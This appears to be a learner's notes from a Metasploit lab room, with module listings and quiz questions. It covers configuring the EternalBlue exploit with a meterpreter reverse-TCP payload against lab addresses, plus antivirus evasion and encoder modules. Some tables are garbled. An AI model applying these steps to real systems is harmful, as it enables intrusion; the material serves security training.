



Metasploit Room

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To know two main versions & commands



Interacting with Metasploit is done through the `msfconsole` command. This command allows you to use various modules, each designed to perform a specific task. Tasks can include exploiting vulnerabilities, scanning targets, or carrying out brute-force attacks. Some key concepts to understand:

- **Payload:** Code that's executed on the target system to perform actions like gaining access or extracting sensitive information.

```
(kali@kali) [~/Downloads]
$ msfconsole

Metasploit tip: Network adapter names can be used for IP options set LHOST
eth0

/ it looks like you're trying to run a \
module

\

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=[ metasploit v6.4.30-dev ]
+ --=[ 2458 exploits - 1264 auxiliary - 430 post ]
+ --=[ 1468 payloads - 49 encoders - 11 nops ]
+ --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >
```

Now, let's explore some of the different modules and their categories:

Auxiliary Modules: These contain scanners, crawlers, and fuzzers.

```
msf6 > show auxiliary
```

#	Name	Rank	Check	Description	Disclosure Date	Rank	Check	Description
0	auxiliary/admin/2wire/xslt_password_reset	normal	No	2Wire Cross-Site Request Forgery Password Reset Vulnerability	2007			
1	auxiliary/admin/android/google_play_store_uxss_xframe_rce	normal	No	Android Browser RCE Through Google Play Store XFO				
2	auxiliary/admin/appletv/appletv_display_image	normal	No	Apple TV Image Remote Control				
3	auxiliary/admin/appletv/appletv_display_video	normal	No	Apple TV Video Remote Control				
4	auxiliary/admin/atg/atg_client	normal	No	Veeder-Root Automatic Tank Gauge (ATG) Administrative Client				
5	auxiliary/admin/aws/aws_launch_instances	normal	No	Launches Hosts in AWS				
6	auxiliary/admin/backupexec/dump	normal	No	Veritas Backup Exec Windows Remote File Access				
7	auxiliary/admin/backupexec/registry	normal	No	Veritas Backup Exec Server Registry Access				
8	auxiliary/admin/chromecast/chromecast_reset	normal	No	Chromecast Factory Reset DoS				
9	auxiliary/admin/chromecast/chromecast_youtube	normal	No	Chromecast YouTube Remote Control				
10	auxiliary/admin/citrix/citrix_netscaler_config_decrypt	normal	Yes	Decrypt Citrix NetScaler Config Secrets	2022			
11	auxiliary/admin/db2/db2rcmd	normal	No	IBM DB2 db2rcmd.exe Command Execution Vulnerability	2004			
12	auxiliary/admin/dcerpc/cve_2020_1472_zerologon	normal	Yes	Netlogon Weak Cryptographic Authentication				
13	auxiliary/admin/dcerpc/cve_2022_26923_certified	normal	No	Active Directory Certificate Services (ADCS) privilege escalation (Certified)				

Encoders: Encoders are used to obfuscate both the exploit and payload, making it harder for a signature-based antivirus to detect them.

- A signature-based antivirus solution works by comparing suspicious files to a database of known threats. However, encoders have a roughly 50/50 chance of bypassing detection due to other checks that antivirus software may perform.

```
msf6 > show encoders
```

#	Name	Rank	Check	Description	Disclosure Date	Rank	Check	Description
0	encoder/cmd/base64	good	No	Base64 Command Encoder				
1	encoder/cmd/brace	low	No	Bash Brace Expansion Command Encoder				
2	encoder/cmd/echo	good	No	Echo Command Encoder				
3	encoder/cmd/generic_sh	manual	No	Generic Shell Variable Substitution Command Encoder				
4	encoder/cmd/ifs	low	No	Bourne \${IFS} Substitution Command Encoder				
5	encoder/cmd/perl	normal	No	Perl Command Encoder				
6	encoder/cmd/powershell_base64	excellent	No	Powershell Base64 Command Encoder				
7	encoder/cmd/printf_php_mq	manual	No	printf(1) via PHP magic_quotes Utility Command Encoder				
8	encoder/generic/eicar	manual	No	The EICAR Encoder				
9	encoder/generic/none	normal	No	The "none" Encoder				
10	encoder/mipsbe/byte_xori	normal	No	Byte XORi Encoder				
11	encoder/mipsbe/longxor	normal	No	XOR Encoder				

Evasion: While encoders help obscure the payload, evasion modules aim to bypass antivirus defenses. Encoders aren't designed to completely evade antivirus detection on their own.

```
msf6 > show evasion
```

#	Name	Rank	Check	Description	Disclosure Date	Rank	Check	Description
0	evasion/windows/applocker_evasion_install_util	normal	No	Applocker Evasion - .NET Framework Installation Utility				
1	evasion/windows/applocker_evasion_msbuild	normal	No	Applocker Evasion - MSBuild				
2	evasion/windows/applocker_evasion_presentationhost	normal	No	Applocker Evasion - Windows Presentation Foundation Host				
3	evasion/windows/applocker_evasion_regasm_regsvcs	normal	No	Applocker Evasion - Microsoft .NET Assembly Registration Utility				
4	evasion/windows/applocker_evasion_workflow_compiler	normal	No	Applocker Evasion - Microsoft Workflow Compiler				
5	evasion/windows/process_herpaderping	normal	No	Process Herpaderping evasion technique				
6	evasion/windows/syscall_inject	normal	No	Direct windows syscall evasion technique				
7	evasion/windows/windows_defender_exe	normal	No	Microsoft Windows Defender Evasive Executable				
8	evasion/windows/windows_defender_jshta	normal	No	Microsoft Windows Defender Evasive JS.Net and HTA				

Exploits: Exploits are categorized based on the target system.

```
msf6 > show exploits
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/aix/local/ibstat_path	2013-09-24	excellent	Yes	ibstat \$PATH Privilege Escalation
1	exploit/aix/local/invscout_rpm_priv_esc	2023-04-24	excellent	Yes	invscout RPM Privilege Escalation
2	exploit/aix/local/xorg_x11_server	2018-10-25	great	Yes	Xorg X11 Server Local Privilege Escalation
3	exploit/aix/rpc_cmds_opcode21	2009-10-07	great	No	AIX Calendar Manager Service Daemon (rpc_cmds) Opcode 21 Buffer Overflow
4	exploit/aix/rpc_ttdbserverd_realpath	2009-06-17	great	No	ToolTalk rpc.ttdbserverd_tt_internal_realpath Buffer Overflow (AIX)
5	exploit/android/adb_server_exec	2016-01-01	excellent	Yes	Android ADB Debug Server Remote Payload Execution
6	exploit/android/browser/samsung_knox_smdm_url	2014-11-12	excellent	No	Samsung Galaxy Knox Android Browser RCE
7	exploit/android/browser/stagefright_mp4_tx3g_64bit	2015-08-13	normal	No	Android Stagefright MP4 tx3g Integer Overflow
8	exploit/android/browser/webview_addjavascriptinterface	2012-12-21	excellent	No	Android Browser and WebView addJavaScriptInterface Code Execution
9	exploit/android/fileformat/adobe_reader_pdf_js_interface	2014-04-13	good	No	Adobe Reader for Android addJavaScriptInterface Exploit
10	exploit/android/local/binder_uaf	2019-09-26	excellent	No	Android Binder Use-After-Free Exploit
11	exploit/android/local/futex_reqqueue	2014-05-03	excellent	Yes	Android 'Towelroot' Futex Reqqueue Kernel Exploit
12	exploit/android/local/janus	2017-07-31	manual	Yes	Android Janus APK Signature bypass

NOPs: NOPs serve no actual function—they represent no operation. In the Intel x86 CPU architecture, they are represented by the byte 0x90. The CPU skips one cycle when a NOP is executed. NOPs are typically used to create a buffer to maintain consistent payload sizes.

```
msf6 >
msf6 > show nops
```

#	Name	Disclosure Date	Rank	Check	Description
0	nop/aarch64/simple	.	normal	No	Simple
1	nop/armle/simple	.	normal	No	Simple
2	nop/cmd/generic	.	normal	No	Generic Command Nop Generator
3	nop/mipsbe/better	.	normal	No	Better
4	nop/php/generic	.	normal	No	PHP Nop Generator
5	nop/ppc/simple	.	normal	No	Simple
6	nop/sparc/random	.	normal	No	SPARC NOP Generator
7	nop/tty/generic	.	normal	No	TTY Nop Generator
8	nop/x64/simple	.	normal	No	Simple
9	nop/x86/opty2	.	normal	No	Opty2
10	nop/x86/single_byte	.	normal	No	Single Byte

Payloads: Payloads are code that runs on the target system. Examples include opening a reverse shell, installing malware, or executing something simple like calc.exe as proof of concept in a penetration test report. There are four payload categories:

- **Adapters:** Convert single payloads into different formats.
- **Singles:** Self-contained payloads (e.g., adding a user or launching notepad.exe) that don't require any extra components to execute.
- **Stagers:** These establish a connection between Metasploit (the attacker) and the target system. Staged payloads send a stager to the target first, which then downloads the full payload. The initial size of a stager is smaller compared to delivering the entire payload at once.
- **Stages:** These are downloaded by the stager to deliver larger payloads.

Single (inline) and staged payloads differ in their naming conventions:

- Single payloads use an underscore (“_”) between “shell” and “reverse,” like this: generic/shell_reverse_tcp.
- Staged payloads use a slash (“/”) between “shell” and “reverse,” for example: windows/x64/shell/reverse_tcp.

```
msf6 > show payloads
```

#	Name	Disclosure Date	Rank	Check	Description
0	payload/aix/ppc/shell_bind_tcp	.	normal	No	AIX Command Shell, Bind TCP Inline
1	payload/aix/ppc/shell_find_port	.	normal	No	AIX Command Shell, Find Port Inline
2	payload/aix/ppc/shell_interact	.	normal	No	AIX execve Shell for inetd
3	payload/aix/ppc/shell_reverse_tcp	.	normal	No	AIX Command Shell, Reverse TCP Inline
4	payload/android/meterpreter/reverse_https	.	normal	No	Android Meterpreter, Android Reverse HTTP Stager
5	payload/android/meterpreter/reverse_tcp	.	normal	No	Android Meterpreter, Android Reverse TCP Stager
6	payload/android/meterpreter/reverse_https	.	normal	No	Android Meterpreter Shell, Reverse HTTP Inline
7	payload/android/meterpreter/reverse_https	.	normal	No	Android Meterpreter Shell, Reverse HTTPS Inline
8	payload/android/meterpreter/reverse_https	.	normal	No	Android Meterpreter Shell, Reverse TCP Inline
9	payload/android/shell/reverse_https	.	normal	No	Command Shell, Android Reverse HTTP Stager
10	payload/android/shell/reverse_https	.	normal	No	Command Shell, Android Reverse HTTPS Stager
11	payload/android/shell/reverse_https	.	normal	No	Command Shell, Android Reverse TCP Stager
12	payload/apple_ios/aarch64/meterpreter_reverse_https	.	normal	No	Apple iOS Meterpreter, Reverse HTTP Inline
13	payload/apple_ios/aarch64/meterpreter_reverse_https	.	normal	No	Apple iOS Meterpreter, Reverse HTTPS Inline
14	payload/apple_ios/aarch64/meterpreter_reverse_https	.	normal	No	Apple iOS Meterpreter, Reverse TCP Inline
15	payload/apple_ios/aarch64/meterpreter_reverse_https	.	normal	No	Apple iOS Meterpreter, Reverse TCP Inline
16	payload/apple_ios/aarch64/shell_reverse_tcp	.	normal	No	Apple iOS aarch64 Command Shell, Reverse TCP Inline
17	payload/apple_ios/armle/meterpreter_reverse_https	.	normal	No	Apple iOS Meterpreter, Reverse HTTP Inline
18	payload/apple_ios/armle/meterpreter_reverse_https	.	normal	No	Apple iOS Meterpreter, Reverse HTTPS Inline
19	payload/apple_ios/armle/meterpreter_reverse_https	.	normal	No	Apple iOS Meterpreter, Reverse TCP Inline

Post-Exploitation Modules: These modules are used during the final stages of testing, focusing on tasks that are performed after the system has been exploited.

```
msf6 > show post
```

#	Name	Disclosure Date	Rank	Check	Description
0	post/aix/hashdump	.	normal	No	AIX Gather Dump Password Hashes
1	post/android/capture/screen	.	normal	No	Android Screen Capture
2	post/android/gather/hashdump	.	normal	No	Android Gather Dump Password Hashes for Android Systems
3	post/android/gather/sub_info	.	normal	No	extracts subscriber info from target device
4	post/android/gather/wireless_ap	.	normal	No	Displays wireless SSIDs and PSKs
5	post/android/local/keystore	2020-12-02	normal	No	KOFFEE - Kia Offensive Exploit
6	post/android/manage/remove_lock	2013-10-11	normal	No	Android Settings Remove Device Locks (4.0-4.3)
7	post/android/manage/remove_lock_root	.	normal	No	Android Root Remove Device Locks (root)
8	post/apple_ios/gather/ios_image_gather	.	normal	No	iOS Image Gatherer
9	post/apple_ios/gather/ios_text_gather	.	normal	No	iOS Text Gatherer
10	post/bsd/gather/hashdump	.	normal	No	BSD Dump Password Hashes

What is the name of the code taking advantage of a flaw on the target system?

☒ Correct Answer

What is the name of the code that runs on the target system to achieve the attacker's goal?

☒ Correct Answer

What are self-contained payloads called?

☒ Correct Answer

Is "windows/x64/pingback_reverse_tcp" among singles or staged payload?

☒ Correct Answer

history command

```
msf6 > history
1  tree -L 1
2  tree -L 1 auxiliary
3  tree -L 1 auxiliary/
4  tree -L 1
5  ls
6  meta
7  show auxiliary
8  show encoders
9  show evasion
10 show exploits
11 show nops
12 show payloads
13 show posts
14 show post
15 ls
16 help.txt
17 help set
18 help.txt
19 history
msf6 > █
```

```
[*] exec: ls
'46362(1).py'           AmrAbdelkhalek.ovpn
46362.py               metasploit-4.21.1-2023011701-linux-x64-installer.run
'AmrAbdelkhalek(1).ovpn' Nessus-10.8.3-ubuntu1604_amd64.deb
```

use exploit/windows/smb/ms17_010_eternalblue

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
```

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Command to payload options

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.1.10	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Payload options

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.1.10	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Accepted: ''

Process

Exploit target:

Id	Name
--	----
0	Automatic Target

Show payloads

msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

Compatible Payloads

#	Name
----	-----
0	payload/generic/custom

Custom Payload

1 payload/generic/shell_bind_aws_ssm

Command Shell, Bind SSM (via AWS API)

2 payload/generic/shell_bind_tcp

Generic Command Shell, Bind TCP Inline

3 payload/generic/shell_reverse_tcp

Generic Command Shell, Reverse TCP Inline

4 payload/generic/ssh/interact

Interact with Established SSH Connection

5 payload/windows/x64/custom/bind_ipv6_tcp

Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager

6 payload/windows/x64/custom/bind_ipv6_tcp_uuid

Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support

7 payload/windows/x64/custom/bind_named_pipe

Windows shellcode stage, Windows x64 Bind Named Pipe Stager

loads	Title	Target IP Address
	MetasploitR1	10.10.117.228 (0)
Module options (sorted by rank)		
Disclosure Date	Rank	Ch
	HOST	--
	SESSION	yes
	USER	yes
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```
msf6 exploit(windows/smb/ms17_010_eternalblue) > info
```

Name	Current Setting	Required	Description
RHOSTS	yes	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The target port (TCP)
SMBDomain	no	no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass	no	no	(Optional) The password for the specified username
SMBUser	no	no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

How would you search for a module related to Apache?

✓ Correct Answer

Who provided the auxiliary/scanner/ssh/ssh_login module?

✓ Correct Answer

🔍 Hint

Task 4:

Command to set rhosts

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.165.39
rhosts => 10.10.165.39
```

Show options after add rhosts

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
```

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name	Current Setting	Required	Description
RHOSTS	10.10.165.39	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The target port (TCP)
SMBDomain	no	no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass	no	no	(Optional) The password for the specified username
SMBUser	no	no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Serv

Command to unset all setting && show options

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > unset all
Unsetting datastore ...
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):
```

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target

How would you set the LPORT value to 6666?

✓ Correct Answer

How would you set the global value for RHOSTS to 10.10.19.23?

✓ Correct Answer

What command would you use to clear a set payload?

✓ Correct Answer

What command do you use to proceed with the exploitation phase?

✓ Correct Answer